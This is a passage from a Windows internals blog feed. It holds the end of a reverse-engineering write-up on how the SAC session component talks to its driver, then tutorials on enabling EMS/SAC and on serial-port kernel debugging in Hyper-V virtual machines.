    exit();
  }
  StartupInfo.cb = 112;
  hReadPipe = (void *)-1LL;
  hWritePipe = (void *)-1LL;
  InitializeProcThreadAttributeList(0LL, 1u, 0, &amp;Size);
  v17 = Size;
  ProcessHeap = GetProcessHeap();
  buffer_addr = (struct _PROC_THREAD_ATTRIBUTE_LIST *)HeapAlloc(ProcessHeap, 0, v17);
  lpAttributeList = buffer_addr;
  NTSTATUS = InitializeProcThreadAttributeList(v19, 1u, 0, &amp;Size);
  if ( NTSTATUS )
  {
    NTSTATUS = UpdateProcThreadAttribute(lpAttributeList, 0, 0x20016uLL, *v16, 8uLL, 0LL, 0LL);
    if ( NTSTATUS )
    {
      if ( (unsigned int)NeedCredentials()
        &amp;&amp; (unsigned __int8)IsCreateWindowStationWPresent()
        &amp;&amp; IsSetUserObjectSecurityPresent() )
      {
        v20 = CreateSACSessionWinStaAndDesktop(token_handle, &amp;hWinSta, (HWINSTA *)this + 9, (HDESK *)this + 3, &amp;v27);
        v4 = v27;
        NTSTATUS = v20;
        if ( !v20 )
          exit();
        StartupInfo.lpDesktop = v27;
      }
      else
      {
        StartupInfo.lpDesktop = L&quot;winsta0\\default&quot;;
      }
      NTSTATUS = CreateProcessAsUserW(
                   token_handle,
                   cmd_fullpath1,
                   (LPWSTR)L&quot;cmd.exe&quot;,
                   0LL,
                   0LL,
                   1,
                   0x80C00u,
                   Environment,
                   0LL,
                   &amp;StartupInfo,
                   &amp;ProcessInformation);
      if ( NTSTATUS )
      {
        GetExitCodeProcess(ProcessInformation.hProcess, &amp;ExitCode);
        if ( ExitCode != 259 )
          exit();
        hThread = ProcessInformation.hThread;
        *((_QWORD *)this + 5) = ProcessInformation.hProcess;
        if ( hThread != (HANDLE)-1LL )
          CloseHandle(hThread);
        if ( hWinSta )
          SetProcessWindowStation(hWinSta);
        NTSTATUS = 1;
      }
    }
  }</code></pre><p>Upon initialization, the <code>sacsess</code> component will persistently await an event from the driver ( <code>CSession::WaitForSacEvent</code>).This process employs <code>WaitForMultipleObjectsEx</code> to obtain notifications regarding state changes that were subscribed to via <code>RtlSubscribeWnfStateChangeNotification</code>.The transmission and reception of data are facilitated through <code>SacChannelRead</code> and <code>SacChannelWrite</code> (which utilizes <code>DeviceIoControl</code>).Following a thorough analysis, I developed functional code for both event subscription and data reading/writing.</p><pre><code class="language-C">#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;

#define IOCTL_CODE_READ 0x224010
#define IOCTL_CODE_WRITE 0x22800C
#define IOCTL_CODE_QUERYSUBCOMMAND 0x22402C


typedef struct _WNF_TYPE_ID {
    GUID                              TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef struct _WNF_STATE_NAME {
    ULONG                             Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

WNF_STATE_NAME WNF_EMS_SACSVR_STATE_CHANGE{ 0xA3BC0875, 0x41950328 };

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef NTSTATUS(NTAPI* RtlPublishWnfStateData_t)(
    _In_ WNF_STATE_NAME StateName,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_reads_bytes_opt_(Length) const VOID* Buffer,
    _In_opt_ ULONG Length,
    _In_opt_ const VOID* ExplicitScope
    );

typedef struct _WNF_CONTEXT_HEADER {
    USHORT NodeTypeCode;
    USHORT NodeByteSize;
} WNF_CONTEXT_HEADER, * PWNF_CONTEXT_HEADER;

typedef struct _WNF_STATE_NAME_INTERNAL {
    ULONG64 Version : 4;
    ULONG64 NameLifetime : 2;
    ULONG64 DataScope : 4;
    ULONG64 PermanentData : 1;
    ULONG64 Unique : 53;
} WNF_STATE_NAME_INTERNAL, * PWNF_STATE_NAME_INTERNAL;

typedef struct _WNF_DELIVERY_DESCRIPTOR {
    ULONG64 SubscriptionId;
    WNF_STATE_NAME StateName;
    WNF_CHANGE_STAMP ChangeStamp;
    ULONG StateDataSize;
    ULONG EventMask;
    WNF_TYPE_ID TypeId;
    ULONG StateDataOffset;
} WNF_DELIVERY_DESCRIPTOR, * PWNF_DELIVERY_DESCRIPTOR;

typedef struct _WNF_NAME_SUBSCRIPTION {
    WNF_CONTEXT_HEADER Header;
    ULONG64 SubscriptionId;
    WNF_STATE_NAME_INTERNAL StateName;
    WNF_CHANGE_STAMP CurrentChangeStamp;
    LIST_ENTRY NamesTableEntry;
    PWNF_TYPE_ID TypeId;
    SRWLOCK SubscriptionLock;
    LIST_ENTRY SubscriptionsListHead;
    ULONG NormalDeliverySubscriptions;
    ULONG NotificationTypeCount[5];
    PWNF_DELIVERY_DESCRIPTOR RetryDescriptor;
    ULONG DeliveryState;
    ULONG64 ReliableRetryTime;
} WNF_NAME_SUBSCRIPTION, * PWNF_NAME_SUBSCRIPTION;

typedef struct _WNF_SERIALIZATION_GROUP {
    WNF_CONTEXT_HEADER Header;
    ULONG GroupId;
    LIST_ENTRY SerializationGroupList;
    ULONG64 SerializationGroupValue;
    ULONG64 SerializationGroupMemberCount;
} WNF_SERIALIZATION_GROUP, * PWNF_SERIALIZATION_GROUP;

typedef NTSTATUS(*PWNF_USER_CALLBACK) (
    WNF_STATE_NAME                    StateName,
    WNF_CHANGE_STAMP                  ChangeStamp,
    PWNF_TYPE_ID                      TypeId,
    PVOID                             CallbackContext,
    PVOID                             Buffer,
    ULONG                             BufferSize);

typedef struct _WNF_USER_SUBSCRIPTION {
    WNF_CONTEXT_HEADER Header;
    LIST_ENTRY SubscriptionsListEntry;
    PWNF_NAME_SUBSCRIPTION NameSubscription;
    PWNF_USER_CALLBACK Callback;
    PVOID CallbackContext;
    ULONG64 SubProcessTag;
    ULONG CurrentChangeStamp;
    ULONG DeliveryOptions;
    ULONG SubscribedEventSet;
    PWNF_SERIALIZATION_GROUP SerializationGroup;
    ULONG UserSubscriptionCount;
    ULONG64 Unknown[10];
} WNF_USER_SUBSCRIPTION, * PWNF_USER_SUBSCRIPTION;



/*
typedef NTSTATUS(NTAPI* RtlSubscribeWnfStateChangeNotification_t)(
    _Outptr_ PVOID* SubscriptionHandle, // PWNF_USER_SUBSCRIPTION
    _In_ WNF_STATE_NAME StateName,
    _In_ WNF_CHANGE_STAMP ChangeStamp,
    _In_ PWNF_USER_CALLBACK Callback,
    _In_opt_ PVOID CallbackContext,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ ULONG SerializationGroup,
    _Reserved_ ULONG Flags
);*/
typedef NTSTATUS(WINAPI* RtlSubscribeWnfStateChangeNotification_t) (
    _Outptr_ WNF_USER_SUBSCRIPTION* Subscription,
    _In_ WNF_STATE_NAME StateName,
    _In_ WNF_CHANGE_STAMP ChangeStamp,
    _In_ PWNF_USER_CALLBACK Callback,
    _In_opt_ PVOID CallbackContext,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ ULONG SerializationGroup,
    _In_opt_ ULONG Unknown
    );
FILE* file;

NTSTATUS NTAPI WnfCallback(
    WNF_STATE_NAME StateName,
    WNF_CHANGE_STAMP                  ChangeStamp,
    PWNF_TYPE_ID                      TypeId,
    PVOID                             CallbackContext,
    PVOID                             Buffer,
    ULONG                             BufferSize)
{
    unsigned int v7; // ebx
    struct _WNF_STATE_NAME Source1;
    Source1 = StateName;
    //if (RtlCompareMemory(&amp;Source1, &amp;WNF_EMS_SACSVR_STATE_CHANGE, 8uLL) == 8)
    if (StateName.Data[0] == WNF_EMS_SACSVR_STATE_CHANGE.Data[0] &amp;&amp;
        StateName.Data[1] == WNF_EMS_SACSVR_STATE_CHANGE.Data[1]
        &amp;&amp; Buffer)
    {
        v7 = 0;
        fprintf(file, &quot;Callback executed\n&quot;);
        if (CallbackContext)
        {
            if (Buffer)
            {
                if (BufferSize == 4)
                {
                    //if (!*(_DWORD*)Buffer)
                    SetEvent(*((HANDLE*)CallbackContext + 5));
                }
                else
                {
                    return (unsigned int)-1073741580;
                }
            }
            else
            {
                return (unsigned int)-1073741581;
            }
        }
        else
        {
            return (unsigned int)-1073741582;
        }
    }
    else
    {
        return (unsigned int)-1073741585;
    }
    return v7;
}


int SACQueryCommand(HANDLE hDevice)
{

    BOOL bResult;
    DWORD bytesReturned;
    //char inputBuffer[100] = &quot;Data to send to driver&quot;;
    char outputBuffer[0x4F] = { 0 };
    HMODULE hNtdll = LoadLibraryA(&quot;ntdll.dll&quot;);
    if (hNtdll == NULL) {
        fprintf(file, &quot;LoadLibrary failed\n&quot;, GetLastError());
        return 1;
    }
    printf(&quot;We are here RtlPublishWnfStateData\n&quot;);
    // Resolve the address of RtlPublishWnfStateData
    RtlPublishWnfStateData_t RtlPublishWnfStateData = (RtlPublishWnfStateData_t)GetProcAddress(hNtdll, &quot;RtlPublishWnfStateData&quot;);
    if (RtlPublishWnfStateData == NULL) {
        printf(&quot;Failed to resolve RtlPublishWnfStateData\n&quot;);
        FreeLibrary(hNtdll);
        return 1;
    }
    int Data = 0;
    //Sleep(100000);
    //RtlPublishWnfStateData(WNF_EMS_SACSVR_STATE_CHANGE, 0LL, &amp;Data, 4LL, 0LL);
        bResult = DeviceIoControl(hDevice,
            IOCTL_CODE_QUERYSUBCOMMAND,
            NULL,
            NULL,
            outputBuffer,
            0x4f,
            &amp;bytesReturned,
            NULL);
        if (!bResult) {
            fprintf(file, &quot;DeviceIoControl failed. Error code: %lu\n&quot;, GetLastError());
            CloseHandle(hDevice);
            return 1;
        }
        else {
            fprintf(file, &quot;DeviceIoControl succeeded. Bytes returned: %lu\n&quot;, bytesReturned);
            fprintf(file, &quot;Output buffer: %s\n&quot;, outputBuffer);
            return 1;
        }

}


int SACRead(HANDLE hDevice)
{

    BOOL bResult;
    DWORD bytesReturned;
    char inputBuffer[0x18] = { 0xFF, 0x59, 0xF5, 0x4A, 0x57, 0x52, 0xEF, 0x11, 0xBD, 0x85, 0x00, 0x15, 0x5D, 0x1D, 0x05, 0x0A };
    char outputBuffer[100] = { 0 };

        bResult = DeviceIoControl(hDevice,
            IOCTL_CODE_READ,
            inputBuffer,
            0x18,
            outputBuffer,
            sizeof(outputBuffer),
            &amp;bytesReturned,
            NULL);
        if (!bResult) {
            fprintf(file, &quot;DeviceIoControl failed. Error code: %lu\n&quot;, GetLastError());
            // CloseHandle(hDevice);
            
        }
        else {
            fprintf(file, &quot;DeviceIoControl succeeded. Bytes returned: %lu\n&quot;, bytesReturned);
            fprintf(file, &quot;Output buffer: %x\n&quot;, outputBuffer);
            //return 1;


    }
    return 1;

}

int SACWrite(HANDLE hDevice)
{

    BOOL bResult;
    DWORD bytesReturned;
    char inputBuffer[0x21] = { 0x9E, 0x41, 0xB5, 0x7A, 0x07, 0x5C, 0xEF, 0x11, 0xBD, 0x8E, 0x00, 0x15, 0x5D, 0x1D, 0x05, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x20, 0x73, 0x64, 0x67, 0x00};
    char outputBuffer[32] = { 0 };

        bResult = DeviceIoControl(hDevice,
            IOCTL_CODE_WRITE,
            inputBuffer,
            sizeof(inputBuffer),
            NULL,
            NULL,
            &amp;bytesReturned,
            NULL);
        if (!bResult) {
            fprintf(file, &quot;DeviceIoControl  SACWrite failed. Error code: %lu\n&quot;, GetLastError());
            //CloseHandle(hDevice);
            //return 1;
        }
        else {
            fprintf(file, &quot;DeviceIoControl SACWrite succeeded.\n&quot;);
        }

    fprintf(file, &quot;DeviceIoControl succeeded. Bytes returned: %lu\n&quot;, bytesReturned);
    fprintf(file, &quot;Output buffer: %s\n&quot;, outputBuffer);
}


int SubscribeEvent() {
    HANDLE hDevice;
    NTSTATUS ntStatus;
    WNF_USER_SUBSCRIPTION userSubscription{};
    const char* file_path = &quot;C:\\SAC.log&quot;;
    // Replace &quot;\\\\.\\DeviceName&quot; with the actual device name.
    hDevice = CreateFile(L&quot;\\\\.\\SAC&quot;,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    // Open log file for writing
    file = fopen(file_path, &quot;w&quot;);
    if (hDevice == INVALID_HANDLE_VALUE) {
        fprintf(file, &quot;Failed to open device. Error code: %lu\n&quot;, GetLastError());
        return 1;
    }

    HINSTANCE hNtdll = LoadLibrary(TEXT(&quot;NtDll.dll&quot;));
    if (hNtdll)
    {
        RtlSubscribeWnfStateChangeNotification_t RtlSubscribeWnfStateChangeNotification = (RtlSubscribeWnfStateChangeNotification_t)GetProcAddress(hNtdll, &quot;RtlSubscribeWnfStateChangeNotification&quot;);
        if (RtlSubscribeWnfStateChangeNotification == NULL) {
            fprintf(file,&quot;Failed to resolve RtlSubscribeWnfStateChangeNotification\n&quot;);
            FreeLibrary(hNtdll);
            return 1;
        }
        WNF_USER_SUBSCRIPTION userSubscription{0x288};
        NTSTATUS ntStatus = RtlSubscribeWnfStateChangeNotification(&amp;userSubscription, WNF_EMS_SACSVR_STATE_CHANGE, 0, WnfCallback,
            0,
            0,
            0,
            0);
        if (ntStatus == 0)
        {
            fprintf(file, &quot;Subscribe to notification succesfully\n&quot;);
        }
        else {
            fprintf(file, &quot;RtlSubscribeWnfStateChangeNotification error : %08x&quot;, ntStatus);
        }
        
        //RtlSubscribeWnfStateChangeNotification pSubscribe = (RtlSubscribeWnfStateChangeNotification)GetProcAddress(hNtdll, &quot;RtlSubscribeWnfStateChangeNotification&quot;);
        //RtlQueryWnfStateData pQuery = (RtlQueryWnfStateData)GetProcAddress(hNtdll, &quot;RtlQueryWnfStateData&quot;);
    }

    // Close the file
    fclose(file);
    CloseHandle(hDevice);
    Sleep(100000);
    return 0;
}
</code></pre><p>Beside that, <code>CShell::Read</code> and <code>CShell::Write</code> are used to read and write data to pipe of command shell.</p><p>That&apos;s all the information releavant to SAC group working. In subsequent articles, we will delve into additional intricacies of the features within the Windows operating system.</p><p> </p>]]></content:encoded></item><item><title><![CDATA[Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v]]></title><description><![CDATA[In this article I will walk you though the process of setting up EMS (Emergency Management Services) for a system running in Hyper-V Virtual machine.  We will also look into the features that EMS SAC provides.]]></description><link>http://nixhacker.com/setting-up-and-playing-with-ems-sac/</link><guid isPermaLink="false">6637677b12c6400b4449a276</guid><category><![CDATA[Windows OS]]></category><category><![CDATA[Tutorial]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Tue, 07 May 2024 19:35:23 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2024/05/Designer-1-.jpeg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2024/05/Designer-1-.jpeg" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v"><p>Since Windows Server 2003, Windows servers have been equipped with EMS (Emergency Management Services) for managing operations on headless servers, primarily intended for troubleshooting issues on Windows remotely.The Windows EMS feature relies on SAC (Special Administration Console) to function. Further information from Wikipedia mentioned below:</p><blockquote>The SAC interface allows interaction with the Windows operating system via the serial (COM) port even when the system might normally be unresponsive, or if the system is embedded or headless (i.e. no keyboard/display present). An administrator can use SAC to access a command prompt, shutdown or reboot the machine, collect a crash dump, or view system information such as the hostname, OS version, running processes, or an IP address or addresses.</blockquote><p>This functionality is currently included as an optional feature in all Windows operating systems by default.Within this article, we will explore the process of setting up EMS SAC on a machine that is operating within a Hyper-V virtual environment.Subsequently, we will briefly examine the various features that SAC offers.</p><p>In order for EMS to function properly, it is necessary to set up our guest machine in a way that allows the host to connect to SAC. If you want EMS setup on a physical machine, you may proceed directly to stage 2.</p><h2 id="stage-1-setting-hyper-v-machine-for-ems-connection">Stage 1: Setting Hyper-V machine for EMS connection</h2><p></p><p>To enable EMS in your guest machine, a virtual COM serial port is required.If your VM is Gen 1, you will find the choice to establish a COM port in the VM settings. Simply specify a pipe value to connect to the guest EMS.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-05-233952.png" class="kg-image" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v" loading="lazy" width="1070" height="1027" srcset="http://nixhacker.com/content/images/size/w600/2024/05/Screenshot-2024-05-05-233952.png 600w, http://nixhacker.com/content/images/size/w1000/2024/05/Screenshot-2024-05-05-233952.png 1000w, http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-05-233952.png 1070w" sizes="(min-width: 720px) 720px"></figure><p>If you are running Generation 2 VMs, you have to use following commands to &#xA0;configure COM port.</p><pre><code>Set-VMComPort -VMName &quot;my win 11&quot; -Path \\.\pipe\testcom -Number 1</code></pre><p>Here <code>-Number 1</code> is for COM 1. <code>-Path</code> contained the named pipe that this virtual COM port will use in host machine. Once done, you can verify the setting using below <code>Get-VMComPort</code> command.</p><pre><code>Get-VMComPort -VMName &quot;my win 11&quot;</code></pre><p>After this, next step is to turn off secure boot which is required since we are going to modify certain firmware setting using <code>bcdedit</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/05/imageedit_2_4140693707.gif" class="kg-image" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v" loading="lazy" width="1000" height="872" srcset="http://nixhacker.com/content/images/size/w600/2024/05/imageedit_2_4140693707.gif 600w, http://nixhacker.com/content/images/2024/05/imageedit_2_4140693707.gif 1000w" sizes="(min-width: 720px) 720px"></figure><p>To verify that the guest is able to detect virtual serial port, you can check the device manager. You will see 1 or both (depend on how many you configure) COM port here.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/05/imageedit_1_6582270641.gif" class="kg-image" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v" loading="lazy" width="1060" height="742" srcset="http://nixhacker.com/content/images/size/w600/2024/05/imageedit_1_6582270641.gif 600w, http://nixhacker.com/content/images/size/w1000/2024/05/imageedit_1_6582270641.gif 1000w, http://nixhacker.com/content/images/2024/05/imageedit_1_6582270641.gif 1060w" sizes="(min-width: 720px) 720px"></figure><p>Now, let&apos;s see how you can configure the guest VM for EMS SAC setup.</p><h2 id="stage-2-configuring-guest-machine-for-ems">Stage 2: Configuring Guest machine for EMS.</h2><p></p><p>Inside the guest, &#xA0;the initial step you should take is to install the optional feature of EMS SAC. For windows 11 it will be named something as <code>EMS and SAC Toolset for Windows (client edition)</code>. To set it up, type &quot;<em>Optional features</em>&quot; in the search bar, proceed to &quot;<em>add an optional feature</em>&quot;, and look for &quot;<em>EMS and SAC</em>&quot;.Select install to proceed with the installation. After installation, a similar interface will be visible in optional features.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-002754.png" class="kg-image" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v" loading="lazy" width="1434" height="607" srcset="http://nixhacker.com/content/images/size/w600/2024/05/Screenshot-2024-05-06-002754.png 600w, http://nixhacker.com/content/images/size/w1000/2024/05/Screenshot-2024-05-06-002754.png 1000w, http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-002754.png 1434w" sizes="(min-width: 720px) 720px"></figure><p>Once install, reboot the machine.</p><p>The next step is somewhat precautionary, but it will assist us in connecting to the SAC at the appropriate booting time. During this step, we will enable the legacy boot option in the guest machine. To accomplish this, you can execute the following <code>bcdedit</code> command:</p><pre><code>bcdedit /set {default} bootmenupolicy legacy</code></pre><p>To see the boot options during booting, you need to add a dummy boot entry. You can use following <code>bcdedit</code> command to do it.</p><pre><code>bcdedit /copy {current} /d &quot;DebugEntry&quot;</code></pre><p>This will just copy the existing boot entry with new name <code>DebugEntry</code>. &#xA0;More info on boot entries: <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/adding-boot-entries?ref=nixhacker.com">here</a>.<br>You can verify the boot entry is added or not using <code>msconfig</code> : Goto <code>msconfig-&gt; Boot</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-005013.png" class="kg-image" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v" loading="lazy" width="850" height="559" srcset="http://nixhacker.com/content/images/size/w600/2024/05/Screenshot-2024-05-06-005013.png 600w, http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-005013.png 850w" sizes="(min-width: 720px) 720px"></figure><p>Once done, now as a final step we have to turn on and configure EMS using <code>bcdedit</code>. You can run below command to do that.</p><pre><code>bcdedit /ems ON

bcdedit /emssettings EMSPORT:1 EMSBAUDRATE:115200</code></pre><p><code>EMSPORT:1</code> refer to serial COM 1 port. Please remember the baudrate as it will be necessary for the connection later on.</p><p>It&apos;s time to reboot the machine. <br>On reboot, you will greet with following Boot option menu:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-010313.png" class="kg-image" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v" loading="lazy" width="1487" height="971" srcset="http://nixhacker.com/content/images/size/w600/2024/05/Screenshot-2024-05-06-010313.png 600w, http://nixhacker.com/content/images/size/w1000/2024/05/Screenshot-2024-05-06-010313.png 1000w, http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-010313.png 1487w" sizes="(min-width: 720px) 720px"></figure><p>you can see the flag [EMS Enabled] in boot entry name. This means that the EMS is configured correctly. Now, to connect to the COM serial port, you can use putty for connection(remember to start it with administator privilege).</p><p>Inside putty, set the connection type to be &quot;Serial&quot;. Put the pipe name on <code>Serial line</code> and set the correct baud rate (<code>115200</code> in our case).</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-010635.png" class="kg-image" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v" loading="lazy" width="665" height="656" srcset="http://nixhacker.com/content/images/size/w600/2024/05/Screenshot-2024-05-06-010635.png 600w, http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-010635.png 665w"></figure><p>Click on open and continue with booting process. You will be greated with SAC prompt on putty.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-235323.png" class="kg-image" alt="Setting up EMS  ( Emergency Management Services) SAC in Windows running inside Hyper-v" loading="lazy" width="985" height="398" srcset="http://nixhacker.com/content/images/size/w600/2024/05/Screenshot-2024-05-06-235323.png 600w, http://nixhacker.com/content/images/2024/05/Screenshot-2024-05-06-235323.png 985w" sizes="(min-width: 720px) 720px"></figure><p></p><h2 id="playing-with-sac-interface">Playing with SAC interface</h2><p>The EMS SAC interface contain following features:</p><pre><code>cmd                  Create a Command Prompt channel.
d                    Dump the current kernel log.
f                    Toggle detailed or abbreviated tlist info.
i                    List all IP network numbers and their IP addresses.
i &lt;#&gt; &lt;ip&gt; &lt;subnet&gt; &lt;gateway&gt; Set IPv4 addr., subnet and gateway.
id                   Display the computer identification information.
k &lt;pid&gt;              Kill the given process.
l &lt;pid&gt;              Lower the priority of a process to the lowest possible.
lock                 Lock access to Command Prompt channels.
m &lt;pid&gt; &lt;MB-allow&gt;   Limit the memory usage of a process to &lt;MB-allow&gt;.
p                    Toggle paging the display.
r &lt;pid&gt;              Raise the priority of a process by one.
s                    Display the current time and date (24 hour clock used).
s mm/dd/yyyy hh:mm   Set the current time and date (24 hour clock used).
t                    Display the task list.
restart              Restart the system immediately.
shutdown             Shutdown the system immediately.
crashdump            Crash the system. You must have crash dump enabled.
livedump [-u] [-h]   Create a live kernel dump. Optional arguments will include
                     userspace (-u) and hypervisor (-h) memory in the dump.
livedump -s &lt;Flags&gt;  Create a selective live kernel dump. Default flag is 0x1.</code></pre><p>It is expected that EMS will be helpful in cases where the system hangs and behave slow. To troubleshoot the issue, following features are implemented in EMS:</p><ul><li>Lower the process priority </li><li>Limit the memory usage for a process </li><li>Kill the process</li><li>Raise the priority of a process</li></ul><p>In case of crash or bugcheck during booting, following options can be used.</p><ul><li>Display the kernel log</li><li>Generate crashdump</li><li>Generate kernel livedump</li></ul><p>For all other troubleshooting cases, you can spawn a command shell. To start the command shell, you can use following shell command:</p><pre><code>SAC&gt;cmd
The Command Prompt session was successfully launched.

EVENT:   A new channel has been created.  Use &quot;ch -?&quot; for channel help.
Channel: Cmd0001

SAC&gt;ch -sn Cmd0001

</code></pre><p>This will start the command prompt which is similar to having remote ssh shell for windows.</p>]]></content:encoded></item><item><title><![CDATA[Remote Kernel Debugging   Windows virtual machine (Generation 2) using Serial COM running inside Hyper-v]]></title><description><![CDATA[This article is a step by step guide to attach windbg to remote windows kernel running inside generation 2 Hyper-V. ]]></description><link>http://nixhacker.com/hyper-v-windows-kernel-debugging-using-com/</link><guid isPermaLink="false">662bceca12c6400b4449a14d</guid><category><![CDATA[Windows OS]]></category><category><![CDATA[Tutorial]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Fri, 26 Apr 2024 20:12:05 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2024/04/Designer.jpeg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2024/04/Designer.jpeg" alt="Remote Kernel Debugging   Windows virtual machine (Generation 2) using Serial COM running inside Hyper-v"><p>If you want to debug the Windows kernel running on a generation 2 VM in Hyper-V, attaching windbg is a pain in the ass. This fast guide will show you how to set up remote kernel debugging without any hassle in such scenarios.</p><p></p><h2 id="stage-1-configuring-hyper-v-machine-for-remote-connection-through-serial-com">Stage 1: Configuring Hyper-V machine for remote connection through Serial COM</h2><p>To troubleshoot the kernel, the first step is to disable secure boot. And if you&apos;re running a Generation 2 virtual machine, it&apos;s likely that it&apos;s turned on. To disable secure boot, first navigate to the appropriate virtual machine settings. <code>Security -&gt; Enable Secure Boot</code> (unchecking) provides the option to disable secure boot. Remember to turn off virtual machine before attempting to disable secure boot.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/04/imageedit_2_4140693707.gif" class="kg-image" alt="Remote Kernel Debugging   Windows virtual machine (Generation 2) using Serial COM running inside Hyper-v" loading="lazy" width="1000" height="872" srcset="http://nixhacker.com/content/images/size/w600/2024/04/imageedit_2_4140693707.gif 600w, http://nixhacker.com/content/images/2024/04/imageedit_2_4140693707.gif 1000w" sizes="(min-width: 720px) 720px"></figure><p>This can also be done using powershell:</p><pre><code>Set-VMFirmware &#x2013;Vmname VmName &#x2013;EnableSecureBoot Off</code></pre><p>The next step is to create a virtual serial COM port for the virtual machine (which is not present by default for Gen 2 machines)</p><p>If you look at the VM settings, you will note that there is no option for COM port setup in the Network Adapter option.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/04/Gen-1-VM-Setting.png" class="kg-image" alt="Remote Kernel Debugging   Windows virtual machine (Generation 2) using Serial COM running inside Hyper-v" loading="lazy" width="778" height="631" srcset="http://nixhacker.com/content/images/size/w600/2024/04/Gen-1-VM-Setting.png 600w, http://nixhacker.com/content/images/2024/04/Gen-1-VM-Setting.png 778w" sizes="(min-width: 720px) 720px"></figure><p>You have to manually set the COM port for Gen 2 VM using powershell. Before that, first verify if there is actually any virtual COM port present for the VM:</p><pre><code>PS C:\Windows\system32&gt; Get-VMComPort -VMName &quot;my win 11&quot;

VMName          Name  Path
------          ----  ----
my win 11 COM 1 
my win 11 COM 2</code></pre><p>You can config the COM port using following powershell command:</p><pre><code>Set-VMComPort -VMName &quot;my win 11&quot; -Path \\.\pipe\testcom -Number 2</code></pre><p><br>Here <code>-Number 2</code> is for COM 2. <code>-Path</code> contained the named pipe that this virtual COM port will use in host machine. Once done, you can reverify the setting using above <code>Get-VMComPort</code> command.</p><p>You can now turn on the windows guest and verify that the COM ports are present inside Device manager:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/04/imageedit_1_6582270641.gif" class="kg-image" alt="Remote Kernel Debugging   Windows virtual machine (Generation 2) using Serial COM running inside Hyper-v" loading="lazy" width="1060" height="742" srcset="http://nixhacker.com/content/images/size/w600/2024/04/imageedit_1_6582270641.gif 600w, http://nixhacker.com/content/images/size/w1000/2024/04/imageedit_1_6582270641.gif 1000w, http://nixhacker.com/content/images/2024/04/imageedit_1_6582270641.gif 1060w" sizes="(min-width: 720px) 720px"></figure><h2 id="stage-2-configuring-the-virtual-machine-guest">Stage 2: Configuring the Virtual machine guest.</h2><p></p><p>The first step with the Windows virtual machine is to enable debugging. This can be done in one of two ways: graphically with <code>msconfig</code> or command line with <code>bcdedit.exe</code>.</p><p><strong>Graphical way:</strong></p><p>Open run, type <code>msconfig</code> and press enter. Now goto <code>Boot-&gt; Advance Options</code> and turn on <code>Debug</code> check. Then select the Debug port to COM1/COM2 and set Baud rate to <code>115200</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/04/Screenshot-2024-04-27-003428.png" class="kg-image" alt="Remote Kernel Debugging   Windows virtual machine (Generation 2) using Serial COM running inside Hyper-v" loading="lazy" width="913" height="694" srcset="http://nixhacker.com/content/images/size/w600/2024/04/Screenshot-2024-04-27-003428.png 600w, http://nixhacker.com/content/images/2024/04/Screenshot-2024-04-27-003428.png 913w" sizes="(min-width: 720px) 720px"></figure><p>Command line through bcdedit:</p><pre><code>bcdedit /debug on

